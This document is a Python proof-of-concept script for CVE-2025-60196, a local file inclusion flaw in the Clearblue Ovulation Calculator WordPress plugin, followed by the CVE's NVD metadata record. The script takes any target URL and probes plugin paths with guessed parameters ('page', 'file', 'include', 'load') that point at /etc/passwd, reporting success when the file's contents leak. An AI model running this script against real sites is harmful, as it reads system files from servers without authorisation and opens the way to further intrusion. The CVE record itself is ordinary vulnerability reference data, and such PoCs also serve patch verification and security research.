CVE-2025-60196

# CVE-2025-60196 PoC - Local File Inclusion # Target: Clearblue® Ovulation Calculator Plugin <= 1.2.4 import requests import sys def test_lfi(target_url, file_path='/etc/passwd'): """ Test for Local File Inclusion vulnerability """ # Common parameter names used in file inclusion vulnerabilities params = { 'page': file_path, 'file': file_path, 'include': file_path, 'load': file_path } # Try common WordPress plugin parameter patterns paths = [ '/wp-content/plugins/clearblue-ovulation-calculator/', '/wp-content/plugins/clearblue-ovulation-calculator/includes/', ] for path in paths: for param_name, payload in params.items(): url = target_url.rstrip('/') + path try: response = requests.get(url, params={param_name: payload}, timeout=10) # Check if file contents are leaked if 'root:' in response.text or 'bin:' in response.text: print(f"[+] VULNERABLE! File inclusion confirmed via {param_name}") print(f"[+] URL: {response.url}") print(f"[+] File: {file_path}") return True except requests.RequestException as e: print(f"[-] Error: {e}") print("[-] No file inclusion detected") return False # Example usage if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-60196_poc.py <target_url>") sys.exit(1) target = sys.argv[1] test_lfi(target)

{"cve": {"id": "CVE-2025-60196", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:04.803", "lastModified": "2026-04-27T17:16:29.067", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Clearblue Clearblue® Ovulation Calculator clearblue-ovulation-calculator allows PHP Local File Inclusion.This issue affects Clearblue® Ovulation Calculator: from n/a through <= 1.2.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/clearblue-ovulation-calculator/vulnerability/wordpress-clearblue-ovulation-calculator-plugin-1-2-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}